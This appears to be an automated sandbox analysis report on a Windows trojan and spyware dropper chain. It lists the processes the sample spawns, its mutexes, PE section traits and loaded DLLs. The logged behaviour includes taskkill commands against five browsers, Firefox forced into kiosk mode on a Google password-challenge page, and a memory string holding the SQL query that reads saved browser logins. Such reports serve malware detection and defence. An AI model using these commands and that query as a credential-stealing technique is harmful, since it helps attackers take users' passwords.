Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe 12E5A10025F316A2CE8B05A5E4170D3A5F6578AB97088C77FF9A552AFAF592F6

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: String function: 0059F9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: String function: 005A0A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: String function: 00589CB3 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00607A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006080C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00628E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060DF80 appears 82 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003A80C0 appears 130 times

Source: random[1].exe.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: cfeb78330e.exe.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[2].exe0.13.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe0.13.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 8b42a83bd5.exe.13.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: 8b42a83bd5.exe.13.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe1.13.dr	Static PE information: Section: bpqkjsvj ZLIB complexity 0.9947569051659125
Source: 1c49dbdc29.exe.13.dr	Static PE information: Section: bpqkjsvj ZLIB complexity 0.9947569051659125

Source: random[1].exe2.13.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 93ee6c8e33.exe.13.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/31@59/11

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005F37B5 GetLastError,FormatMessageW,

15_2_005F37B5

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005E10BF AdjustTokenPrivileges,CloseHandle,		15_2_005E10BF
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005E16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		15_2_005E16C3

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005F51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

15_2_005F51CD

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005ED4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

15_2_005ED4DC

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005F648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

15_2_005F648E

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005842A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

15_2_005842A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3620:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;W

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3iPvRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeQ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe "C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77351dd8-8927-4914-94fc-1a87a0368b0e} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f33906f910 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4084 -prefMapHandle 2892 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56b04377-1d30-41f5-a844-cf83270b3c57} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f34b606a10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe "C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe "C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe"
Source: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe "C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe "C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe "C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe "C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe "C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe "C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77351dd8-8927-4914-94fc-1a87a0368b0e} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f33906f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4084 -prefMapHandle 2892 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56b04377-1d30-41f5-a844-cf83270b3c57} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f34b606a10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: userenv.dll	Jump to behavior
